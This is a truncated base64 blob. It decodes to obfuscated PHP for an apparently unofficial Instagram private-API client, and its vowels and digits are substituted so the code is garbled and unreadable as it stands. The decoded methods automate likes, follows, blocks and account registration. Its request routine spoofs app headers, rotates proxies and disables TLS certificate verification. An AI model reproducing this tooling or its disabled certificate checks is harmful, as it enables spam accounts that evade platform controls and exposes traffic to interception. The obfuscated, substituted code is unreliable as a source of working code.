tNXN0MW1wID0gTlVMTCkgew0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5nNXRVczVyRjU1ZCgkdGg0cy0+MWNjMjNudF80ZCwgJG0xeDRkLCAkbTRuVDRtNXN0MW1wKTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFIxbms1ZFI1YzRwNDVudHMoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsNCiAgICAgICAgICAgICAgICAic2gyd190aHI1MWRzIiA9PiAidHIzNSINCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcDFyMW1EMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCg0KICAgICAgICAgICAgJHIxbms1ZF9yNWM0cDQ1bnRzID0gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF92YS9yMW5rNWRfcjVjNHA0NW50cy8/JyAuICRwMXIxbUQxdDEpWzZdOw0KDQogICAgICAgICAgICA0ZigkcjFuazVkX3I1YzRwNDVudHNbInN0MXQzcyJdICE9ICIyayIpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCRyMW5rNWRfcjVjNHA0NW50c1sibTVzczFnNSJdIC4gIlxuIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHI1dDNybiAkcjFuazVkX3I1YzRwNDVudHM7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRSNWM1bnRSNWM0cDQ1bnRzKCkgew0KICAgICAgICAgICAgJHI1YzVudF9yNWM0cDQ1bnRzID0gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF9zaDFyNS9yNWM1bnRfcjVjNHA0NW50cy8nKVs2XTsNCg0KICAgICAgICAgICAgNGYoJHI1YzVudF9yNWM0cDQ1bnRzWyJzdDF0M3MiXSAhPSAiMmsiKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkcjVjNW50X3I1YzRwNDVudHNbIm01c3MxZzUiXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJHI1YzVudF9yNWM0cDQ1bnRzOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0RXhwbDJyNSgpIHsNCiAgICAgICAgICAgICQ1eHBsMnI1ID0gJHRoNHMtPnI1cTM1c3QoJ2Q0c2MydjVyLzV4cGwycjUvJylbNl07DQoNCiAgICAgICAgICAgIDRmKCQ1eHBsMnI1WydzdDF0M3MnXSAhPSAnMmsnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkNXhwbDJyNVsnbTVzczFnNSddIC4gIlxuIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHI1dDNybiAkNXhwbDJyNTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFAycDNsMXJGNTVkKCRtMXg0ZCA9IE5VTEwpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gWw0KICAgICAgICAgICAgICAgICJyMW5rNWRfYzJudDVudCIgICAgICAgICAgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICJyMW5rX3QyazVuIiAgICAgICAgICAgICAgPT4gJHRoNHMtPnIxbmtfdDJrNW4sDQogICAgICAgICAgICAgICAgInA1MnBsNV90NTFzNXJfczNwcDJydDVkIiA9PiAiNiINCiAgICAgICAgICAgIF07DQogICAgICAgICAgICA0ZighNW1wdHkoJG0xeDRkKSkgew0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zWyJtMXhfNGQiXSA9ICRtMXg0ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRwMXIxbUQxdDEgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAxcjFtcykpOw0KDQoNCiAgICAgICAgICAgICRwMnAzbDFyRjU1ZCA9ICR0aDRzLT5yNXEzNXN0KCJmNTVkL3AycDNsMXIvPyIgLiAkcDFyMW1EMXQxKVs2XTsNCg0KICAgICAgICAgICAgNGYoJHAycDNsMXJGNTVkWydzdDF0M3MnXSAhPSAnMmsnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkcDJwM2wxckY1NWRbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJHAycDNsMXJGNTVkOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFVzNXJGMmxsMnc0bmdzKCQzczVybjFtNUlkLCAkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsNCiAgICAgICAgICAgICAgICAiNGdfczRnX2s1eV92NXJzNDJuIiA9PiBDMm5zdDFudHM6OlNJR19LRVlfVkVSU0lPTiwNCiAgICAgICAgICAgICAgICAicjFua190Mms1biIgICAgICAgICA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJmcjQ1bmRzaDRwcy8kM3M1cm4xbTVJZC9mMmxsMnc0bmcvPyIgLiAkcDFyMW1EMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFVzNXJGMmxsMnc1cnMoJDNzNXJuMW01SWQsICRtMXg0ZCA9IE5VTEwpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gWw0KICAgICAgICAgICAgICAgICI0Z19zNGdfazV5X3Y1cnM0Mm4iID0+IEMybnN0MW50czo6U0lHX0tFWV9WRVJTSU9OLA0KICAgICAgICAgICAgICAgICJyMW5rX3QyazVuIiAgICAgICAgID0+ICR0aDRzLT5yMW5rX3QyazVuDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgNGYoITVtcHR5KCRtMXg0ZCkpIHsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAxcjFtc1sibTF4XzRkIl0gPSAkbTF4NGQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcDFyMW1EMXQxID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJmcjQ1bmRzaDRwcy8kM3M1cm4xbTVJZC9mMmxsMnc1cnMvPyIgLiAkcDFyMW1EMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRTNWxmVXM1ckYybGwydzVycygkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPmc1dFVzNXJGMmxsMnc1cnMoJHRoNHMtPjFjYzIzbnRfNGQsICRtMXg0ZCk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRTNWxmVXM1cnNGMmxsMnc0bmcoJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgIjRnX3M0Z19rNXlfdjVyczQybiIgPT4gQzJuc3QxbnRzOjpTSUdfS0VZX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgInIxbmtfdDJrNW4iICAgICAgICAgPT4gJHRoNHMtPnIxbmtfdDJrNW4NCiAgICAgICAgICAgIF07DQogICAgICAgICAgICA0ZighNW1wdHkoJG0xeDRkKSkgew0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zWyJtMXhfNGQiXSA9ICRtMXg0ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRwMXIxbUQxdDEgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAxcjFtcykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoImZyNDVuZHNoNHBzL2YybGwydzRuZy8/IiAuICRwMXIxbUQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gbDRrNSgkM3M1cklELCAkY3NyZiwgJG01ZDQxSWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICQzczVySUQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICQzczVySUQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICRjc3JmLA0KICAgICAgICAgICAgICAgICdtNWQ0MV80ZCcgICA9PiAkbTVkNDFJZCwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHAyc3REMXQxOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gcjVnNHN0NXIoJDFkczJ5MWQsICQzczVybjFtNSwgJHAxc3N3MnJkLCAkNW0xNGwsICRjc3JmdDJrNW4sICRkNXY0YzVJRCkgew0KDQogICAgICAgICAgICAkZzM0ZCA9IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKTsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnMWxsMndfYzJudDFjdHNfc3luYycgPT4gJ2YxbHM1JywNCiAgICAgICAgICAgICAgICAncGgybjVfNGQnICAgICAgICAgICAgPT4gJGczNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICAgID0+ICRjc3JmdDJrNW4sDQogICAgICAgICAgICAgICAgJzNzNXJuMW01JyAgICAgICAgICAgID0+ICQzczVybjFtNSwNCiAgICAgICAgICAgICAgICAnZjRyc3RfbjFtNScgICAgICAgICAgPT4gJDFkczJ5MWQsDQogICAgICAgICAgICAgICAgJ2czNGQnICAgICAgICAgICAgICAgID0+ICRnMzRkLA0KICAgICAgICAgICAgICAgICdkNXY0YzVfNGQnICAgICAgICAgICA9PiAkZDV2NGM1SUQsDQogICAgICAgICAgICAgICAgJzVtMTRsJyAgICAgICAgICAgICAgID0+ICQ1bTE0bCwNCiAgICAgICAgICAgICAgICAnZjJyYzVfczRnbl8zcF9jMmQ1JyAgPT4gJycsDQogICAgICAgICAgICAgICAgJ3cxdDVyZjFsbF80ZCcgICAgICAgID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSwNCiAgICAgICAgICAgICAgICAncXNfc3QxbXAnICAgICAgICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ3Axc3N3MnJkJyAgICAgICAgICAgID0+ICRwMXNzdzJyZCwNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkcDJzdEQxdDE7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gM25sNGs1KCRtNWQ0MUlkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnbTVkNDFfNGQnICAgPT4gJG01ZDQxSWQsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJtNWQ0MS8kbTVkNDFJZC8zbmw0azUvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dE01ZDQxQzJtbTVudHMoJG01ZDQxSWQpIHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgibTVkNDEvJG01ZDQxSWQvYzJtbTVudHMvIilbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBzNXROMW01QW5kUGgybjUoJG4xbTUgPSAnJywgJHBoMm41ID0gJycpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ2Y0cnN0X24xbTUnICAgPT4gJG4xbTUsDQogICAgICAgICAgICAgICAgJ3BoMm41X24zbWI1cicgPT4gJHBoMm41LA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL3M1dF9waDJuNV8xbmRfbjFtNS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0RDRyNWN0U2gxcjUoKSB7DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF9zaDFyNS80bmIyeC8nKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGYybGwydygkM3M1cklkLCAkbXkzczVyNGQsICRjc3JmKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkbXkzczVyNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICRteTNzNXI0ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJGNzcmYsDQogICAgICAgICAgICAgICAgJzNzNXJfNGQnICAgID0+ICQzczVySWQsDQogICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnID0+ICd3NGY0LW4ybjUnDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICRwMnN0RDF0MTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiAzbmYybGwydygkM3M1cklkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnM3M1cl80ZCcgICAgPT4gJDNzNXJJZCwNCiAgICAgICAgICAgICAgICAncjFkNDJfdHlwNScgPT4gJ3c0ZjQtbjJuNScNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoImZyNDVuZHNoNHBzL2Q1c3RyMnkvJDNzNXJJZC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gYmwyY2soJDNzNXJJZCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICczczVyXzRkJyAgICA9PiAkM3M1cklkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJmcjQ1bmRzaDRwcy9ibDJjay8kM3M1cklkLyIsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiAzbmJsMmNrKCQzczVySWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnM3M1cl80ZCcgICAgPT4gJDNzNXJJZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgiZnI0NW5kc2g0cHMvM25ibDJjay8kM3M1cklkLyIsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiAzczVyRnI0NW5kc2g0cCgkM3M1cklkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJzNzNXJfNGQnICAgID0+ICQzczVySWQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoImZyNDVuZHNoNHBzL3NoMncvJDNzNXJJZC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0TDRrNWRNNWQ0MSgkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFtdOw0KICAgICAgICAgICAgNGYoITVtcHR5KCRtMXg0ZCkpIHsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAxcjFtc1sibTF4XzRkIl0gPSAkbTF4NGQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcDFyMW1EMXQxID0gITVtcHR5KCRyNXEzNXN0UDFyMW1zKSA/IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSkgOiAnJzsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdmNTVkL2w0azVkLycgLiAoITVtcHR5KCRwMXIxbUQxdDEpID8gJz8nIC4gJHAxcjFtRDF0MSA6ICcnKSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIGYzbmN0NDJuIHI1cTM1c3QoJDVuZHAyNG50LCAkcDJzdCA9IE5VTEwsICRsMmc0biA9IEZBTFNFKSB7DQoNCiAgICAgICAgICAgIDRmKCEkdGg0cy0+NHNMMmdnNWRJbiAmJiAhJGwyZzRuKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigiTjJ0IGwyZ2c1ZCA0blxuIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRoNTFkNXJzID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRoNTFkNXJzID0gWw0KICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAnWC1JRy1DMXAxYjRsNHQ0NXM6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzFwMWI0bDR0NDVzLA0KICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1TcDU1ZDogJyAuIG10X3IxbmQoNjAwMCwgbzcwMCkgLiAna2JwcycsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsQnl0NXMtQjogMCcsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsVDRtNS1NUzogMCcsDQogICAgICAgICAgICAgICAgJ1gtRkItSFRUUC1Fbmc0bjU6ICcgLiBDMm5zdDFudHM6OlhfRkJfSFRUUF9Fbmc0bjUsDQogICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR0aDRzLT5kNXY0YzUtPmc1dFVzNXJBZzVudCgpKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGg1MWQ1cnMpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1ZFUkJPU0UsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICcnKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsIEMybnN0MW50czo6QVBJX1VSTCAuICQ1bmRwMjRudCk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfQ09PS0lFLCAkdGg0cy0+czV0dDRuZ3MtPmc1dCgiYzIyazQ1IikpOw0KICAgICAgICAgICAgNGYoVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA+PSBhKSB7DQogICAgICAgICAgICAgICAgJDNzNXJBc25zID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkpOw0KICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsICQycHQ0Mm5LNXksICQzczVyQXNuc1swXSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsICQycHQ0Mm5LNXksICQzczVyQXNuc1s2XSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIDRmKCRwMnN0KSB7DQogICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1QsIFRSVUUpOw0KICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcDJzdCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRyNXNwICAgICAgID0gYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICAkaDUxZDV